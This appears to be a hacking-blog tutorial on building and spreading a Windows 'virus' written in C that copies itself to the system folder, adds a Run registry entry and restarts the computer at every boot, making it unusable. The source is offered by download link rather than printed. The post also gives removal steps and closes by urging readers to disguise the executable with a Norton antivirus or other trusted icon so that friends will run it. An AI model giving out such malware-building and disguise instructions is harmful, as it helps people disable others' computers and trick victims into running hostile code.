A Program to Restart the Computer?

In this post, I will show you how to create a virus to restart the computer at every startup. That is, upon infection, the computer will get restarted every time the system is booted. As a result, the computer will become inoperable as it reboots again as soon as the desktop is loaded.

For this, the virus needs to be executed only once and from then on, it will carry out rest of the operation on its own. I have programmed this virus using the C language. If you are familiar with the C language then it is too easy to understand the logic behind the coding. The code is not posted here in this article, but you can download it from the link below.

Compiling the source code into an executable module:

1. Download the Source Code Here[download id=”224″].

2. UnRar the file and you should see the source code: Sysres.C
3. For a step-by-step compilation guide, refer my post: How to compile C Programs?

Testing and removing the virus from your PC:

You can compile and test this virus on your own PC without any fear. To test, just double-click the sysres.exefile and restart the system manually. From now on, every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.

It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by following the below mentioned steps:

1. Reboot your computer in the safe mode.
2. Go to:

   %systemroot%WindowsSystem

   (%systemroot% can be C,D,E or F)

3. You will find a file by name sysres.exe, delete it.
4. Type regedit in run. You will go to the registry editor. Here navigate to:

   HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun

   There, on the right site you will see an entry by name “sres“. Delete this entry. That’s it. You have now removed this virus successfully.

Logic Behind the working of this virus program:

If I do not explain the logic(Algorithm) behind the working of the virus program, I think this post would become an incomplete one. So I’ll explain the logic in a simplified manner without getting much into the technical aspects of the program. If you have further doubts, you can pass your comments.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into%systemroot%WindowsSystem.
3. If not it will just place a copy of itself into %systemroot%WindowsSystem and makes a registry entry to put this virus file into the Windows startup.
4. Or else if the virus is already found in the %systemroot%WindowsSystem directory (folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

How to change the icon of the executable module (This step is optional):

After you compile, the sysres.exe file that you get will have a default icon. If you send this file to your friends they may not execute it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example, you can change the icon into Norton antivirus ICON itself so that the people seeing this file believes that it is Norton antivirus. Or you can change its ICON into the ICON of any popular or trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How to Change the ICON of an EXE File?